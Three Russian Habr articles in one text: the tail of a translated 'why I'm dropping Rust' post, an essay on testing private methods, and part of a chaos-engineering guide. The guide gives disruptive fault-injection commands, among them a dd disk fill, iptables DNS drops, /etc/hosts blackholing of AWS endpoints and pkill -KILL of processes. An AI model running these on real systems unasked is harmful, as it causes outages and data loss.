Я попробовал способы 1, 2 и 3, в каждом нашлись минусы, которые сделали их использование неприемлемым. Сейчас я рассматриваю вариант 4, это мой последний шанс. Давайте взглянем на все варианты:
Вариант 1
---------
Этот вариант выберет любой новичок Rust. Я так и сделал, и сразу столкнулся с проблемами с borrow checker. В этом варианте Widget должен быть владельцем (owner) своих потомков И родителя. Это невозможно, потому что родитель и потомок будут иметь циклические ссылки владения друг другом.
Вариант 2
---------
Это был мой второй выбор. Его плюс в том, что он поход на стиль C++, использованный в nanogui. Есть несколько минусов, например, использование небезопасных блоков везде, внутри и снаружи библиотеки. К тому же, borrow checker не проверяет указатели на валидность. Но главный минус в том, что невозможно создать объект-счетчик. Я не имею ввиду эквивалент "умного указателя" из С++, или тип Rc из Rust. Я имею ввиду объект, который считает, сколько раз на него указывали, и удаляет сам себя когда счетчик достигает нуля. [Вот пример](https://github.com/wjakob/nanogui/blob/master/include/nanogui/object.h#L25) на C++ из реализации nanogui.
Чтобы эта штука работала, нужно сказать компилятору, что удалять себя можно только изнутри объекта. Взгляните на пример:
```
struct WidgetObj {
pub parent: Option<*mut WidgetObj>,
pub font_size: i32
}
impl WidgetObj {
fn new(font_size: i32) -> WidgetObj {
WidgetObj {
parent: None,
font_size: font_size
}
}
}
impl Drop for WidgetObj {
fn drop(&mut self) {
println!("widget font_size {} dropped", self.font_size);
}
}
fn main() {
let mut w1 = WidgetObj::new(1);
{
let mut w2 = WidgetObj::new(2);
w1.parent = Some(&mut w2);
}
unsafe { println!("parent font_size: {}", (*w1.parent.unwrap()).font_size) };
}
```
» [Запустить в интерактивной песочнице](https://play.rust-lang.org/?gist=4878c275e299e53a8f24684966e15996&version=nightly&backtrace=0)
Вывод будет таким:
```
widget font_size 2 dropped
parent font_size: 2
widget font_size 1 dropped
```
Это нужно, чтобы не появилась ошибка use after free error, потому что память не обнуляется после удаления.
Так что для корректной реализации такого счетчика нужно резервировать память глобально. Просто нет простого способа указать компилятору не удалять переменную автоматически когда она выходит из области видимости.
Ну, хорошо. Поступай как знаешь, Rust. Какой же способ реализации циклического направленного графа является идиоматическим в Rust?
Вариант 3
---------
В итоге я нашел хорошую библиотеку для создания деревьев, которая называется [rust-forest](https://github.com/SimonSapin/rust-forest/). Она дает возможность создавать узлы, указывать на узлы умными указателями и вставлять и удалять узлы. Однако, реализация не позволяет добавлять узлы разного типа T в один граф, и это важное требование библиотеки вроде nanogui.
Взгляните на [этот интерактивный пример](https://play.rust-lang.org/?gist=18327500a1f25de57707f92ae75b96d3&version=nightly&backtrace=0). Он немного длинноват, поэтому я не добавил полный листинг прямо в статью. Проблема в этой функции:
```
// Widget is a trait
// focused_widgets is a Vec>>
fn update\_focus(&self, w: &Widget) {
self.focused\_widgets.clear();
self.focused\_widgets.push\_child(w); // This will never work, we don't have the reference counted version of the widget here.
}
```
» [Запустить в интерактивной песочнице](https://play.rust-lang.org/?gist=18327500a1f25de57707f92ae75b96d3&version=nightly&backtrace=0)
К слову, эту странную штуку можно обойти, но я все равно не понимаю, почему это вообще проблема.
```
let refObj = Rc::new(RefCell::new(WidgetObj::new(1)));
&refObj as &Rc>; // non-scalar cast
```
» [Запустить в интерактивной песочнице](https://play.rust-lang.org/?gist=824a67d6161ef8144cff5e0d99ee704a&version=nightly&backtrace=0)
Заключение
==========
Проблемы, с которыми я столкнулся при реализации способов 1, 2 и 3, наталкивают меня на мысль, что четвертый вариант со связкой с С — это единственный подходящий для моей задачи способ. И теперь я думаю — зачем делать связку с С, когда можно просто написать все на С? Или С++?
У языка программирования Rust есть положительные черты. Мне нравится, как работает Match. Мне нравится общая идея типажей, как и интерфейсов в Go. Мне нравится пакетный менеджер cargo. Но когда дело доходит до реализации деталей типажей, подсчета ссылок и невозможности переопределить поведение компилятора, я вынужден сказать «нет». Мне это не подходит.
Я искренне надеюсь, что люди продолжат улучшать Rust. Но я хочу писать игры. А не пытаться победить компилятор или писать RFC, чтобы сделать язык более подходящим моим задачам.
**Примечание переводчика**
Я не понял, что имеет ввиду автор, когда говорит «*для корректной реализации такого счетчика нужно резервировать память глобально*», как если бы это поведение было нетипичным для других языков, в частности С и С++. В них тоже нужно класть переменную в динамическую память если хочешь сохранить ее после завершения функции, верно?
К тому же, «*нет простого способа указать компилятору не удалять переменную автоматически когда она выходит из области видимости*» — похоже, просто неверное утверждение, потому что [функция std::mem::forget](https://doc.rust-lang.org/stable/std/mem/fn.forget.html) создана специально для этого (из обсуждения на реддите).
Хорошие обсуждения статьи:
* [На реддите /r/programming](https://www.reddit.com/r/programming/comments/529k5m/why_im_dropping_rust/)
* [На реддите /r/rust](https://www.reddit.com/r/rust/comments/5295nf/why_im_dropping_rust/) (заметьте, что в сообществе Rust первый комментарий к статье, которая ругает Rust, это призыв улучшить документацию)
* [На HackerNews](https://news.ycombinator.com/item?id=12474445) | https://habr.com/ru/post/309968/ | null | ru | null |
# Тестировать только через public-методы плохо
В программировании и в TDD, в частности, есть хорошие принципы, которых полезно придерживаться: DRY и тестирование через public-методы. Они неоднократно оправдали себя на практике, но в проектах с большим legacy-кодом могут иметь «тёмную сторону». Например, ты можешь писать код, руководствуясь этими принципами, а потом обнаружить себя разбирающим тесты, охватывающие связку из 20+ абстракций с конфигурацией, несоизмеримо превосходящей по объему тестируемую логику. Эта «тёмная сторона» пугает людей и тормозит использование TDD в проектах. Под катом я рассуждаю, почему тестировать через public-методы плохо и как можно уменьшить проблемы, возникающие из-за этого принципа.
**Отказ от ответственности**Сразу хочу развеять возможное впечатление. Некоторые, возможно, даже не ощущают тех минусов, о которых пойдет речь, в силу, например, размера их проектов. Так же, данные недостатки, на мой взгляд, являются частью технического долга и обладают такими же характеристиками: проблема будет расти, если ей не уделять внимания. Поэтому решать необходимо по ситуации.
Идея, лежащия в основе принципа, звучит хорошо: тестировать нужно поведение, а не реализацию. А значит, тестировать нужно только интерфейс класса. На практике это не всегда так. Чтобы представить суть проблемы представьте, что у вас есть метод, рассчитывающий стоимость работников занятых на сменной работе. Это нетривиальная задача, если речь идет о сменной работе, т.к. у них есть чаевые, бонусы, выходные, праздники, корпоративные правила и пр. и пр. Этот метод внутри выполняет очень много операций и использует другие сервисы, которые ему дают информацию о праздниках, чаевых и пр. Т.о. при написании для него юнит-теста необходимо создать конфигурацию для всех используемых сервисов, если проверяемый код находится где-то в конце метода. При этом, сам проверяемый код может использовать только частично, или вообще не использовать конфигурируемые сервисы. И есть уже некоторые юнит-тесты, написанные подобным образом.
Минус 1: Оверконфигурация юнит-тестов
-------------------------------------
Теперь вы хотите добавить реакцию на новый признак, который имеет нетривиальную логику и используется так же где-то в конце метода. Характер флага таков, что он является частью сервисной логики и, в тоже время, не является частью интерфейса сервиса. В приведенном случае, данный код актуален только для этого public-метода, и может быть, вообще, вписан внутрь старого метода.
Если в проекте принято правило тестировать всё только через public-методы, то разработчик может, скорее всего, просто скопирует какой-то существующий юнит-тест и немного его подправит. В новом тесте всё так же будет конфигурация всех сервисов для запуска метода. С одной стороны, принцип мы соблюли, но, с другой стороны, получили юнит-тест с оверконфигурацией. В дальнейшем, если что-то сломается, или потребует изменения конфигурации, придется делать мартышкину работу по корректировке тестов. Это нудно, долго и не приносит ни радости, ни видимой пользы клиенту. Казалось бы, следуем правильному принципу, но оказываемся в той же ситуации, от которой хотели уйти, отказываясь от тестирования private-методов.
Минус 2: Неполное покрытие
--------------------------
Дальше может вмешаться такой человеческий фактор, как лень. Например, private-метод с нетривиальной логикой флага может выглядеть так, как в этом примере.
```
private bool HasShifts(DateTime date, int tolerance, bool clockIn, Shift[] shifts, int[] locationIds)
{
bool isInLimit(DateTime date1, DateTime date2, int limit)
=> Math.Abs(date2.Subtract(date1).TotalMinutes) <= limit;
var shiftsOfLocations = shifts.Where(x => locationIds.Contains(x.LocationId));
return clockIn
? shiftsOfLocations.Any(x => isInLimit(date, x.StartDate, tolerance))
: shiftsOfLocations.Any(x => isInLimit(date, x.EndDate, tolerance));
}
```
Данный метод требует 10 проверок, чтобы покрыть все случаи, 8 из них существенные.
**Расшифровка 8 важных кейзов*** shiftsOfLocations — 2 значения — есть или нет
* clockIn — 2 значения — true или false
* tolerance — 2 разных значения
Итого: 2 x 2 x 2 = 8
При написании юнит-тестов для проверки этой логики, разработчику придется написать не меньше 8 больших юнит-тестов. Я сталкивался со случаями, когда конфигурация юнит-теста занимала 50+ строк кода, при 4 строках непосредственного вызова. Т.е. только, примерно, 10% кода несёт полезную нагрузку. В этом случае велик соблазн сократить объем работы за счет написания меньшего количества юнит-тестов. В итоге из 8 остается, например, только два юнит теста, для каждого значения clockIn. Такая ситуация приводит к тому, что либо, опять же, нудно и долго надо писать все необходимые тесты, создавая конфигурацию (Ctrl+C,V работает, куда же без него), либо метод остаётся только частично покрытым. У каждого варианта есть свои неприятные последствия.
Возможные решения
-----------------
Кроме принципа «тестироват поведение», еще есть OCP (Open/closed principle). Применяя его правильно, вы можете забыть что такое «хрупкие тесты», тестируя внутреннее поведение модуля. Если вам понадобится новое поведение модуля, вы напишете новые юнит-тесты для нового класса-наследника, в котором будет изменено нужное вам поведение. Тогда вам не надо будет тратить время на перепроверку и корректировку существующих тестов. В этом случае данный метод можно объявить, как internal, или protected internal, и тестировать, добавив InternalsVisibleTo к сборке. В этом случае ваш IClass интерфейс не пострадает, а тесты будут наиболее локаничными, не подверженными частым изменениям.
Другой альтернативой может быть объявление дополнительного класса-хелпера, в который можно вытащить наш метод, объявив его, как public. Тогда и принцип будет соблюдён, и тест будет лаконичным. На мой взгляд, такой подход не всегда себя оправдывает. Например, некоторые могут решить вытаскивать даже один метод в один класс, что приводит к созданию кучи классов с одним методом. Другой крайностью может быть сваливание таких методов в один класс-хелпер, который превращается в GOD-helper-class. Но этот вариант с хелпером может быть единственным, если рабочая сборка подписана строгим именем, а тестовую сборку вы подписать не можете, по каким-то причинам. InternalsVisibleTo будет работать когда сразу обе сборки либо подписаны, либо нет.
Итог
----
И в итоге, из-за совокупности подобных проблем страдает идея TDD и юнит-тестов, т.к. желания писать объемные тесты и поддерживать их нет ни у кого. Буду рад любым примерам того, как четкое следование данному принципу приводило к проблемам и снижению мотивации писать тесты у команды разработчиков. | https://habr.com/ru/post/419873/ | null | ru | null |
# Chaos Engineering: искусство умышленного разрушения. Часть 3
***Прим. перев.**: Это продолжение цикла статей от технологического евангелиста из AWS (Adrian Hornsby) про довольно новую ИТ-дисциплину — chaos engineering, — в рамках которой инженеры проводят эксперименты, призванные смягчить последствия сбоев в системах. [Первый](https://habr.com/ru/company/flant/blog/460367/) материал этого цикла рассказывал про концепцию chaos engineering в целом, [второй](https://habr.com/ru/company/flant/blog/465107/) — о том, как эта деятельность способствует позитивным культурным изменениям внутри организаций.*
*Последний материал посвящён практике хаос-инжиниринга: методам экспериментирования и инструментам для их непосредственной реализации. Несмотря на то, что его перевод уже публиковался на днях на хабре, у нас готова своя версия, которая кажется нам качественной и по-прежнему уместной для размещения. Так весь цикл перевода этих статей был представлен в едином стиле и наши подписчики — читатели прошлых частей — увидят его полностью.*
***Прим. автора**: Хочу выразить искреннюю признательность своему другу [Ricardo Sueiras](https://medium.com/@094459) за его вклад в подготовку этой публикации и за то, что он помог мне сдвинуться с мертвой точки. Рикардо, ты крут!*
**«Мы становимся тем, что лицезреем. Сначала мы формируем свои инструменты, а затем они формируют нас». — [Маршалл Маклюэн](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D0%BA%D0%BB%D1%8E%D1%8D%D0%BD,_%D0%9C%D0%B0%D1%80%D1%88%D0%B0%D0%BB%D0%BB)** *(канадский философ, прославившийся своими исследованиями в области коммуникаций; первое предложение этой цитаты, впрочем, заимствовано у британского поэта Уильяма Блейка — прим. перев.)*
Важно помнить, что смысл хаос-инжиниринга вовсе **НЕ** в том, чтобы выпустить «обезьянок» на свободу и позволить им внедрять сбои случайным образом и бесцельно. Наоборот, это четко определенный, формализованный научный метод экспериментирования.
> «Метод включает в себя внимательное наблюдение, применение строгого скептицизма к предмету наблюдения, учитывая, что сознательные предположения могут исказить интерпретацию наблюдений. Он включает в себя формулировку гипотез при помощи индукции, основанных на этих наблюдениях; экспериментальную и измеримую проверку выводов, следующих из гипотез; а также уточнение (или отказ от) гипотезы в зависимости от результатов экспериментов». — [Wikipedia](https://en.wikipedia.org/wiki/Scientific_method)
Хаос-инжиниринг начинается с понимания устойчивого состояния системы. За этим следует формулировка гипотезы и, наконец, проверка и анализ результатов экспериментов ради повышения отказоустойчивости системы.
*Этапы хаос-инжиниринга*
В [первой части](https://habr.com/ru/company/flant/blog/460367/) данной серии статей я изложил концепцию хаос-инжиниринга и рассмотрел каждый шаг процесса, изображенного выше.
Во [второй части](https://habr.com/en/company/flant/blog/465107/) — рассказал о направлениях, с которых следует начинать разработку экспериментов, и о том, как выбрать правильную гипотезу.
В этой, третьей, части речь пойдет о **самих экспериментах**. Будет представлена коллекция инструментов и методов, покрывающих широкий спектр возможностей по «[внесению неисправностей](https://ru.wikipedia.org/wiki/%D0%92%D0%BD%D0%B5%D1%81%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BD%D0%B5%D0%B8%D1%81%D0%BF%D1%80%D0%B0%D0%B2%D0%BD%D0%BE%D1%81%D1%82%D0%B5%D0%B9)» *(fault injection или failure injection)*, необходимый для проведения экспериментов хаос-инжиниринга.
Список нельзя назвать исчерпывающим, однако его вполне достаточно для начала и того, чтобы заложить основу для дальнейших размышлений.
Внесение неисправностей: что это и зачем?
-----------------------------------------
Внедрение неисправностей в систему позволяет понять и проверить, соответствует ли спецификациям её реакция на стрессовые условия. Впервые эта методика использовалась для [провоцирования неисправностей на аппаратном уровне](https://ieeexplore.ieee.org/document/780999/) — в частности, на уровне контактов — путём изменения электрических сигналов на устройствах.
В разработке программного обеспечения внесение неисправностей помогает повысить отказоустойчивость системы и устранить потенциально слабые места. Этот процесс получил название «устранение неисправностей» *(fault removal)*. Также он помогает прикинуть потенциальные последствия сбоя — то есть его радиус поражения — ещё до того, как нечто подобное случится в production. Это называется «прогнозированием неисправностей» *(failure forecasting)*.
У внесения неисправностей есть несколько важных плюсов. Оно помогает:
* постичь и попрактиковаться в реакции на инциденты и непредвиденные обстоятельства;
* оценить масштаб последствий реальных сбоев;
* оценить эффективность и пределы возможностей механизмов обеспечения отказоустойчивости;
* устранить недостатки проектирования и найти слабые места;
* оценить и повысить наблюдаемость системы;
* узнать радиус поражения от сбоев и помочь уменьшить его;
* осмыслить распространение последствий сбоя между компонентами системы.
### Категории неисправностей
Внедрение неисправностей подразделяется на пять категорий:
1. сбои на уровне **ресурсов**;
2. на уровне **сети и зависимостей**;
3. на уровне **приложений, процессов и сервисов**;
4. на уровне **инфраструктуры**;
5. на уровне **персонала**\*.
Далее я рассмотрю каждую категорию и приведу пример внесения неисправности для каждой из них. Кроме того, расскажу о некоторых **комплексных инструментах для внесения сбоев и управления ими**.
*\* Примечание: в этой статье не будет рассматриваться внесение неисправностей на уровне персонала. Эту тему затрону в отдельной публикации.*
1. Сбои на уровне ресурсов или «исчерпание ресурсов»
----------------------------------------------------
Хотя облачные услуги приучили нас к тому, что ресурсы практически безграничны, вынужден вас разочаровать: это не так. Экземпляр, контейнер, функция и т.д. — независимо от уровня абстракции, ресурсы рано или поздно закончатся. Проверкой устойчивости системы, поставленной в условия жесткой нехватки ресурсов, и занимается подход с названием «исчерпание ресурсов» *([resource exhaustion](https://en.wikipedia.org/wiki/Resource_exhaustion_attack))*.
[](https://xkcd.ru/676/)
Исчерпание ресурсов обычно выглядит как [DoS-атака](https://ru.wikipedia.org/wiki/DoS-%D0%B0%D1%82%D0%B0%D0%BA%D0%B0) (правда, не совсем привычная), стремящаяся помешать работе целевого хоста. Это довольно популярный способ внесения неисправностей — возможно, по той причине, что его легко реализовать.
### Исчерпание ресурсов CPU, памяти и ввода/вывода
Один из моих любимых инструментов — [**stress-ng**](https://www.mankier.com/1/stress-ng), реинкарнация [оригинальной утилиты](https://directory.fsf.org/wiki/Stress), которую разработал Amos Waterland.
С помощью stress-ng можно внедрить неисправности в различные физические подсистемы компьютера, а также в интерфейсы ядра ОС, используя «стрессоры» *(stressors)*. Они доступны для: CPU, кэша CPU, устройств, ввода/вывода, прерываний, файловой системы, памяти, сети, операционной системы, конвейеров, планировщиков, виртуальных машин. [Страницы руководства](https://www.mankier.com/1/stress-ng) включают полное описание всех доступных стресс-тестов, коих насчитывается целых 220 штук!
Вот несколько полезных примером применения **stress-ng**:
* **Стресс-тест CPU** — `matrixprod` — предлагает отличное сочетание операций с памятью, кэшем и с плавающей запятой. Пожалуй, является лучшим способом «поджарить» CPU.
```
❯ stress-ng —-cpu 0 --cpu-method matrixprod -t 60s
```
* Стресс-тест `iomix-bytes` пишет N байтов для каждого процесса-worker'а iomix. Значение N по умолчанию равно 1 Гб и идеально подходит для **стресс-теста ввода/вывода**. В этом примере я указываю 80 % свободного пространства в файловой системе:
```
❯ stress-ng --iomix 1 --iomix-bytes 80% -t 60s
```
* `vm-bytes` идеально подходит для проведения **стресс-тестов памяти**. В данном примере stress-ng запускает 9 стрессоров виртуальной памяти. Вместе они «съедают» 90 % доступной памяти на один час (каждый стрессор использует 10 % доступной памяти):
```
❯ stress-ng --vm 9 --vm-bytes 90% -t 60s
```
### Исчерпание места на жестких дисках
`dd` — это утилита для командной строки, созданная для преобразования и копирования файлов. При этом dd может читать (или писать) из специальных файлов устройств, таких как `/dev/zero` и `/dev/random`, для задач вроде резервного копирования загрузочного сектора жёсткого диска или получения определенного количества случайной информации. Таким образом, её также можно использовать для внесения неисправности в хост и имитации заполнения диска. Помните, как ваши логи съели всё свободное пространство на сервере и привели к падению приложения? Эта утилита способна помочь, но также и навредить.
**Используйте dd чрезвычайно осторожно! Ошибка в команде может стереть, уничтожить или перезаписать данные на жёстком диске!**
```
❯ dd if=/dev/urandom of=/burn bs=1M count=65536 iflag=fullblock &
```
### Исчерпание ресурсов API приложения
Производительность, отказоустойчивость и масштабируемость API имеют большое значение. В самом деле, API позволяют компаниям совершенствовать свои приложения и развивать бизнес.
Нагрузочное тестирование *([load testing](https://ru.wikipedia.org/wiki/%D0%9D%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BE%D1%87%D0%BD%D0%BE%D0%B5_%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5))* — отличная возможность испытать приложение, прежде чем оно попадёт в production. Также это превосходный метод стресс-тестирования, позволяющий выявить проблемы и ограничения, которые в противном случае могли бы проявиться только при реальной нагрузке.
[`wrk`](https://github.com/wg/wrk) — инструмент для бенчмаркинга HTTP, способный генерировать значительную нагрузку на системы. Мне очень нравится нагружать API для health-check'ов — особенно, если это [глубокие проверки](https://medium.com/@adhorn/patterns-for-resilient-architecture-part-3-16e8601c488e), поскольку они позволяют многое узнать об архитектурных решениях в проекте: как настроен кэш? Как работает ограничение по частоте? Уделяет ли система приоритетное внимание health-check'ам от балансировщиков нагрузки?
Вот отличная отправная точка:
```
❯ wrk -t12 -c400 -d20s http://127.0.0.1/api/health
```
Эта команда запускает 12 потоков и держит открытыми 400 HTTP-подключений в течение 20 секунд.
2. Внедрение неисправностей на уровне сети и зависимостей
---------------------------------------------------------
[Eight Fallacies of Distributed Computing](https://en.wikipedia.org/wiki/Fallacies_of_distributed_computing) от Peter'а Deutsch'а — это набор из предположений, которыми руководствуются разработчики при проектировании распределённых систем. Однако они часто оборачиваются против них, вызывая перебои в работе системы и заставляя менять её архитектуру. Вот эти предположения:
* Сеть надёжна.
* Задержка равна нулю.
* Пропускная способность безгранична.
* Сеть безопасна.
* Топология не меняется.
* Есть только один администратор.
* Транспортировка всегда происходит без проблем.
* Сеть гомогенна.
Этот список, по сути, представляет собой готовый перечень направлений для внесения неисправностей и проверки способности распределенной системы противостоять сетевым сбоям.
### Внедрение задержек, потерь и повреждений сети
[`tc` (traffic control)](http://tldp.org/HOWTO/Traffic-Control-HOWTO/intro.html) — это инструмент командной строки для конфигурации планировщика пакетов ядра Linux. Он определяет, как пакеты попадают в очередь для передачи и приёма по сетевому интерфейсу. Возможности включают постановку в очередь, применение политик, классификацию, планирование, шейпинг и отбрасывание.
tc можно использовать для имитации задержки и потери пакетов для UDP- или TCP-приложений, а также для ограничения пропускной способности сети для конкретного сервиса с целью имитировать реальное перемещение трафика в интернете.
**— Внедряем задержку в 100 мс:**
```
# Запуск
❯ tc qdisc add dev eth0 root netem delay 100ms
# Остановка
❯ tc qdisc del dev eth0 root netem delay 100ms
```
**— Внедряем задержку в 100 мс с дельтой в 50 мс:**
```
# Запуск
❯ tc qdisc add dev eth0 root netem delay 100ms 50ms
# Остановка
❯ tc qdisc del dev eth0 root netem delay 100ms 50ms
```
**— Имитируем повреждение 5 % сетевых пакетов:**
```
# Запуск
❯ tc qdisc add dev eth0 root netem corrupt 5%
# Остановка
❯ tc qdisc del dev eth0 root netem corrupt 5%
```
**— Имитируем потерю 7 % пакетов с корреляцией в 25 %:**
```
# Запуск
❯ tc qdisc add dev eth0 root netem loss 7% 25%
# Остановка
❯ tc qdisc del dev eth0 root netem loss 7% 25%
```
*Примечание: 7 % позволяют сохранить работоспособность TCP.*
### Манипуляции с /etc/hosts
`/etc/hosts` — это простой текстовый файл, сопоставляющий IP-адреса с доменными именами (одна строка на адрес). Для каждого хоста должна быть своя строка со следующей информацией:
`IP_адрес каноническое_доменное_имя [алиасы...]`
Файл hosts — один из нескольких способов, с помощью которых компьютер сопоставляет сетевые узлы в компьютерной сети и переводит понятные для человека домены в [IP-адреса](https://ru.wikipedia.org/wiki/IP-%D0%B0%D0%B4%D1%80%D0%B5%D1%81). Как вы уже догадались, он отлично подходит и для запутывания компьютеров. Вот несколько примеров:
**— Блокируем доступ к API DynamoDB из экземпляра EC2:**
```
# Запуск
# Копируем /etc/hosts в /etc/host.back
❯ cp /etc/hosts /etc/hosts.back
❯ echo "127.0.0.1 dynamodb.us-east-1.amazonaws.com" >> /etc/hosts
❯ echo "127.0.0.1 dynamodb.us-east-2.amazonaws.com" >> /etc/hosts
❯ echo "127.0.0.1 dynamodb.us-west-1.amazonaws.com" >> /etc/hosts
❯ echo "127.0.0.1 dynamodb.us-west-2.amazonaws.com" >> /etc/hosts
❯ echo "127.0.0.1 dynamodb.eu-west-1.amazonaws.com" >> /etc/hosts
❯ echo "127.0.0.1 dynamodb.eu-north-1.amazonaws.com" >> /etc/hosts
# Остановка
# Возвращаем изначальную версию /etc/hosts
❯ cp /etc/hosts.back /etc/hosts
```
**— Блокируем доступ экземпляра EC2 к API EC2:**
```
# Запуск
# Копируем /etc/hosts в /etc/host.back
❯ cp /etc/hosts /etc/hosts.back
❯ echo "127.0.0.1 ec2.us-east-1.amazonaws.com" >> /etc/hosts
❯ echo "127.0.0.1 ec2.us-east-2.amazonaws.com" >> /etc/hosts
❯ echo "127.0.0.1 ec2.us-west-1.amazonaws.com" >> /etc/hosts
❯ echo "127.0.0.1 ec2.us-west-2.amazonaws.com" >> /etc/hosts
❯ echo "127.0.0.1 ec2.eu-west-1.amazonaws.com" >> /etc/hosts
❯ echo "127.0.0.1 ec2.eu-north-1.amazonaws.com" >> /etc/hosts
# Остановка
# Возвращаем /etc/hosts
❯ cp /etc/hosts.back /etc/hosts
```
Вот пример работы с этим файлом. Изначально API EC2 доступен, и команда `ec2 describe-instances` завершается успешно:
Но как только я добавляю строку `127.0.0.1 ec2.eu-west-1.amazonaws.com` в `/etc/hosts`, вызовы перестают доходить до API EC2:
Конечно, этот метод работает для всех endpoint'ов AWS.
### Я мог бы рассказать анекдот про DNS...
*Идёт обновление кэша DNS…*
… только вам потребуется 24 часа, чтобы его понять.
21 октября 2016 году [DDoS-атака на Dyn](https://en.wikipedia.org/wiki/2016_Dyn_cyberattack) привела к тому, что значительное число интернет-платформ и сервисов оказались недоступны в Европе и Северной Америке. Согласно [отчёту ThousandEyes Global DNS Performance](https://www.thousandeyes.com/resources/2018-global-dns-performance-benchmark-report) за 2018 год, 60 % компаний и SaaS-провайдеров по-прежнему полагаются на один источник DNS и, следовательно, уязвимы перед сбоями DNS. Поскольку без DNS нет и интернета, разумно имитировать падение этой службы, чтобы проверить устойчивость системы к возможному отказу DNS.
Традиционно для борьбы с [DDoS-атаками](https://en.wikipedia.org/wiki/Denial-of-service_attack) используется така называемый **blackholing** — метод, в котором «плохой» сетевой трафик отправляется прямиком в «чёрную дыру» и выбрасывается в пустоту (этакая сетевая версия `/dev/null`). Можно воспользоваться им для имитации потери сетевого трафика или отказа протокола, например, [службы DNS](https://ru.wikipedia.org/wiki/DNS).
С этой работой прекрасно справится [iptables](https://linux.die.net/man/8/iptables). Эта утилита используется для настройки, обслуживания и анализа таблиц с правилами фильтрации IP-пакетов в ядре Linux.
Чтобы отправить DNS-трафик в «чёрную дыру», попробуйте сделать следующее:
```
# Запуск
❯ iptables -A INPUT -p tcp -m tcp --dport 53 -j DROP
❯ iptables -A INPUT -p udp -m udp --dport 53 -j DROP
# Остановка
❯ iptables -D INPUT -p tcp -m tcp --dport 53 -j DROP
❯ iptables -D INPUT -p udp -m udp --dport 53 -j DROP
```
### Внесение неисправностей с помощью Toxiproxy
Один из главных недостатков инструментов под Linux, таких как `tc` и `iptables`, состоит в том, что они требуют root-привилегий для своей работы, что может быть проблематично для некоторых организаций и ситуаций. В этом случае на выручку придет **Toxiproxy**!
[Toxiproxy](https://github.com/shopify/toxiproxy) — это TCP-прокси с открытым исходным кодом, разработанный [инженерной командой Shopify](https://engineering.shopify.com/). Он помогает имитировать хаотические сетевые и системные условия из реальной жизни. Для этого достаточно поместить Toxiproxy между компонентами инфраструктуры, как показано на иллюстрации ниже:
*Слайд из [выступления](https://atscaleconference.com/videos/resiliency-testing-with-toxiproxy/) Simon'а Eskildsen'а, главы команды production-разработки, Shopify*
Этот инструмент специально разработан для окружений с тестами, CI и разработкой, он поддерживает детерминированный или рандомизированный хаос, а также кастомизацию. Toxiproxy манипулирует соединением между клиентом и upstream'ом с помощью так называемых «**токсиков**» *([toxics](https://github.com/shopify/toxiproxy#toxics))* и поддерживает настройку через [HTTP API](https://github.com/shopify/toxiproxy#http-api). Кроме того, инструмент поставляется с набором предустановленных токсиков.
В примере ниже показывается, как Toxiproxy с помощью downstream-токсика увеличивает задержку на 1000 мс между клиентом Redis, redis-cli и самой Redis:
Начиная с октября 2014 года Toxiproxy с успехом используется во всех development- и test-средах в Shopify. Подробности о Toxiproxy можно узнать из [этой записи в блоге](https://shopifyengineering.myshopify.com/blogs/engineering/building-and-testing-resilient-ruby-on-rails-applications).
3. Внедрение сбоев на уровне приложения, процесса и сервиса
-----------------------------------------------------------
Программы падают. Это общеизвестный факт. Что делать, если произошел сбой? Следует ли зайти на сервер по SSH и перезапустить упавший процесс? **Системы контроля процессов** позволяют следить за состоянием процесса или изменять его с помощью таких директив, как *start*, *stop*, *restart*. Эти системы обычно реализуются для постоянного контроля за процессом. Одним из таких инструментов является [`systemd`](https://en.wikipedia.org/wiki/Systemd). Он обеспечивает базовый набор методов для управления процессами в Linux. [`Supervisord`](http://supervisord.org/introduction.html#overview) предлагает аналогичный функционал для UNIX-подобных операционных систем.
Эти инструменты следует использовать при деплое приложений. Конечно, прежде всего надо изучить последствия от падений критических процессов. Убедитесь, что получаете соответствующие уведомления, а процессы перезапускаются в автоматическом режиме:
**— «Убийство» Java-процессов:**
```
❯ pkill -KILL -f java
# Альтернативный способ
❯ pkill -f 'java -jar'
```
**— «Убийство» процессов Python:**
```
❯ pkill -KILL -f python
```
Конечно, с помощью `pkill` можно убить практически любой процесс в системе.
### Внесение сбоев в базы данных
Если и есть сбои, жалобы на которые терпеть не может поддержка, так это те, которые имеют отношение к базам данных. Данные ценятся на вес золота, и всякий раз, когда происходит сбой в БД, возрастает риск потери данных клиентов.
В некоторых случаях способность как можно быстрее восстановить данные и вернуть систему в работоспособное состояние может определить судьбу компании. К сожалению, подготовиться ко всему разнообразию сбоев баз данных непросто, и многие из них проявляются только в production.
Впрочем, если вы используете [Amazon Aurora](https://aws.amazon.com/rds/aurora/), то можете проверить отказоустойчивость кластера баз данных Amazon Aurora путем [специальных запросов с внедрением ошибок](https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/AuroraMySQL.Managing.FaultInjectionQueries.html).
#### Внедрение сбоев в Amazon Aurora
Запросы со сбоями в виде SQL-команд направляются экземпляру Amazon Aurora и позволяют запланировать «возникновение» одного из следующих событий:
* падение читающего *(reader)* или пишущего *(writer)* экземпляра БД;
* сбой реплики Aurora;
* выход диска из строя;
* сбой диска с пометкой случайных сегментов как переполненных *(congested)*.
Отправляя запрос со сбоем, вы также указываете желаемую продолжительность имитации неисправности.
**— Падение экземпляра Amazon Aurora:**
```
ALTER SYSTEM CRASH [ INSTANCE | DISPATCHER | NODE ];
```
**— Имитация отказа реплики Aurora:**
```
ALTER SYSTEM SIMULATE percentage PERCENT READ REPLICA FAILURE
[ TO ALL | TO "replica name" ]
FOR INTERVAL quantity { YEAR | QUARTER | MONTH | WEEK | DAY | HOUR | MINUTE | SECOND };
```
**— Имитация выхода из строя диска в кластере с БД Aurora:**
```
ALTER SYSTEM SIMULATE percentage PERCENT DISK FAILURE
[ IN DISK index | NODE index ]
FOR INTERVAL quantity { YEAR | QUARTER | MONTH | WEEK | DAY | HOUR | MINUTE | SECOND };
```
**— Имитация повышенной загрузки диска в кластере с БД Aurora:**
```
ALTER SYSTEM SIMULATE percentage PERCENT DISK CONGESTION
BETWEEN minimum AND maximum MILLISECONDS
[ IN DISK index | NODE index ]
FOR INTERVAL quantity { YEAR | QUARTER | MONTH | WEEK | DAY | HOUR | MINUTE | SECOND };
```
### Сбои в serverless-мире
